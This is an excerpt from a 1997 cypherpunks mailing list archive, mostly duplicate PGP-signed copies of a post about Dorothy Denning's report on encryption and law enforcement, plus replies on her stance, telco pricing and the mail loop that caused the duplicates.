    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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From attila at hun.attila.org  Thu Jul 31 21:20:44 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 12:20:44 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010413.WAA15145@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 21:27:51 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 12:27:51 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010418.WAA15430@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 21:33:54 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 12:33:54 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010423.WAA15695@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 21:38:01 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 12:38:01 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010429.WAA15891@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 21:40:43 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 12:40:43 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010434.WAA16088@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 21:47:38 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 12:47:38 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010439.WAA16249@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
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From attila at hun.attila.org  Thu Jul 31 21:53:42 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 12:53:42 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010444.WAA16494@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
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From attila at hun.attila.org  Thu Jul 31 21:57:38 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 12:57:38 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010450.WAA16699@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
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From attila at hun.attila.org  Thu Jul 31 22:39:46 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 13:39:46 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010528.XAA17968@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
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-----END PGP SIGNATURE-----






From nobody at REPLAY.COM  Thu Jul 31 22:44:40 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Fri, 1 Aug 1997 13:44:40 +0800
Subject: Attila T. Spammer / Re: Denning questions/reverses her position?
Message-ID: <199708010531.HAA23603@basement.replay.com>



Attila T. Hun wrote: 
>     I'm too old for this!  I never thought I would see the day that
>     Dorothy Denning would terminate her star role as a shill for the
>     Clinton/LEA encryption ban!

  As a matter of fact, the mere thought of this happening has caused
Attila to go into a state of "brain-lock" wherein he sits at his
keyboard, sending the same message, over and over again, to the list.
  It will be interesting to see what happens to Attila's brain if
Clinton ever vetos a bill because it subverts the Constitution.

  BTW, Dorothy Denning's new spokesperson is a flying pig, and the
Weather Network reports that Hell froze over shortly before Denning's
new position statement.

TruthMonger







From apache at bear.apana.org.au  Thu Jul 31 22:46:00 1997
From: apache at bear.apana.org.au (Apache)
Date: Fri, 1 Aug 1997 13:46:00 +0800
Subject: Denning backs away from GAK
In-Reply-To: 
Message-ID: <199708010535.PAA10817@bear.apana.org.au>



   Declan McCullagh said:

>BTW, Will R did a piece a month or so ago on Denning's shifting stance.
>Maybe I should call her up and press her for details.

While your at it why not ask if she (see her post to this list dated 1 
Sep 1996; and several EFF board members referred to in John Gilmores post 
to this list on 2 Sep 1996) are still having problems with anonymity. 

I didn't think she was a GAKer way back then so who knows which way the 
wind is blowing her now.  Garfinkel refers to her long held belief that 
controls on encryption were necessary so perhaps I am wrong and she was a 
GAKer all along although her reference in her email of 1 Sep makes no 
mention of it when she sought to distinguish her comments on anonymity 
from the issue of encryption thus:

"Please note that this is not the same as the right to *private* 
conversations and the use of encryption; this is the issue of being 
accountable for what you publish in public."

Then again her comments appeared to be a slipery as an eel in terms of 
meaning so who knows what the hell she means/meant/will mean at any 
particular point in time.

-- 
   .////.   .//    Charles Senescall             apache at bear.apana.org.au
 o:::::::::///                                   apache at quux.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache









From nobody at REPLAY.COM  Thu Jul 31 22:48:51 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Fri, 1 Aug 1997 13:48:51 +0800
Subject: "Telco Terrorism" -- Wired on Baby Bells v. the Net
Message-ID: <199708010535.HAA23978@basement.replay.com>



> Telco Terrorism
> By Declan McCullagh (declan at well.com)

> Right now, the telcos have no financial incentive to
> promote speedier, more efficient technologies - and
> when they've tried, they've blown it through a
> combination of high prices and notoriously bad
> customer service and support. Take ISDN, a digital
> technology that has been ready-to-arrive for 25 years
> but never quite did. "The problem isn't technology,"
> according to James Love, an economist at the Ralph
> Nader-sponsored Consumer Project on Technology. "It's
> monopoly pricing by the telcos."

   If the telcos don't want to use efficient, effective technology
to render service to their customers, then I certainly wouldn't
want to *force* them to do so. However, neither do I want to be
*forced* to pay exhorbitant rates because the telecos want to
maintain a sloppily run monopoly on the services I have to choose
from.

> The telcos' solution: the FCC must let them levy
> per-minute access charges to raise the hundreds of
> millions of dollars a year needed to keep the phone
> system from crashing.

  My solution? (Thanks for asking. :>)
  If the telecos wish to remain in the Dark Ages, then let *their*
phone system crash. There will be no shortage of people standing
in line to make money by supplying customers with phone service at
competitive rates.
 
> "The Effect of Internet Use on the Nation's Telephone
> Network," blasted telco assumptions and pointed out
> their hypocrisy: the Baby Bells whine that flat-rate
> Internet services are congesting phone lines even as
> many of them are peddling flat-rate Internet access
> themselves. Some have actually given it away - 

  The old "loss-leader" promotion to get everyone into your
store. The telecos, however, then want to lock the doors and
petition the government for monopoly pricing, instead of letting
the "customers" shop across the street, instead.

> "It doesn't have to be a large charge," Bell
> Atlantic's Ed Young now says. "It can be something of
> the magnitude of a penny a minute, or even less. But
> it has to be something."

  "...so that we can raise the rates outrageously in the future."
 
> As a rule, Washington's
> bureaucrats are not power-crazed authoritarians; most
> are reactive creatures who simply respond to
> demonstrations of influence and power. 

  Translation~:~ They are usually manipulated by the most powerful
and influential of the power-crazed authoritarians.

> The high tech
> community responded by forming its own ad hoc
> coalition to pressure the FCC, and thousands of
> Internet users chimed in to express their collective
> dismay. Of course, the best way to win not just the
> battle but the war may be to remove the commission's
> power to regulate the Net altogether. Still, so far
> the real threat to netizens has come from complacent
> telcos and their legions of starched-collar lobbyists,
> not the FCC. The distinction is important, because the
> old rule of thumb still holds true: The enemy of our
> enemy may occasionally prove to be our friend.

  As long as everyone has Guns & Roses (with sharp thorns).
Say what you want about Timothy McVeigh, but if the government
launches another Waco atrocity in the near future, the citizens
will be paying much closer attention to the way it is handled.
  The attempt to control the InterNet is yet another attempt to
disarm the citizens. They are trying to get us to "voluntarily"
turn in our electronic weapons, such as crypto.
  "They will take my crypto when they pry it from my cold, dead
algorithms."

TruthMonger







From lharrison at mhv.net  Thu Jul 31 22:58:03 1997
From: lharrison at mhv.net (Lynne L. Harrison)
Date: Fri, 1 Aug 1997 13:58:03 +0800
Subject: Attila T. Spammer / Re: Denning questions/reverses her position?
In-Reply-To: <199708010531.HAA23603@basement.replay.com>
Message-ID: <3.0.2.32.19970801014939.006cc110@pop.mhv.net>



-----BEGIN PGP SIGNED MESSAGE-----

At 07:31 AM 8/1/97 +0200, Anonymous wrote:
>
>  As a matter of fact, the mere thought of this happening has caused
>Attila to go into a state of "brain-lock" wherein he sits at his
>keyboard, sending the same message, over and over again, to the list.
>  It will be interesting to see what happens to Attila's brain if
>Clinton ever vetos a bill because it subverts the Constitution.


FWIW, all of Atilla's messages have the same exact time, i.e., Thu, 31 Jul 97
23:34:37 or 11:34 P.M.  Looks more like a server with a bad case of the
hiccups....

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From attila at hun.attila.org  Thu Jul 31 23:29:36 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 14:29:36 +0800
Subject: OverRun Msgs Re: Denning questions/reverses her position?
Message-ID: <199708010622.AAA19605@infowest.com>



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on or about 970731:2245 it was expostulated:

+::
+Anon-To: cypherpunks at toad.com

+Attila T. Hun wrote: 
+>     I'm too old for this!  I never thought I would see the day that
+>     Dorothy Denning would terminate her star role as a shill for the
+>     Clinton/LEA encryption ban!

+  As a matter of fact, the mere thought of this happening has caused
+Attila to go into a state of "brain-lock" wherein he sits at his
+keyboard, sending the same message, over and over again, to the list.
+  It will be interesting to see what happens to Attila's brain if
+Clinton ever vetos a bill because it subverts the Constitution.

+  BTW, Dorothy Denning's new spokesperson is a flying pig, and the
+Weather Network reports that Hell froze over shortly before Denning's
+new position statement.

+TruthMonger

    dunno why the message was repeated at cyberpass --each of the 55
    copies I received as of 20 minutes ago has exactly the same header
    date from cyberpass.  that and one of them smoked the primary
    mailbox with a couple hundred null characters.  hun.attila.org
    was offline so it could not have generated the extra messages --so
    where did they loop?  only the shadow knows. If it is something
    by remote SMPT added on, I apologize for the inconvenience.

    the image of my brain in "brain-lock" is apt enough for the reaction;
    as for the flying pig and Hell freezes over --that too. Denning is
    still Denning, and maybe she's just angling for more shill money 
    before she gets back on the track.

    yes, if Clinton ever vetos a bill just because it violats the 
    Constitution, I probably would be gone....

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 
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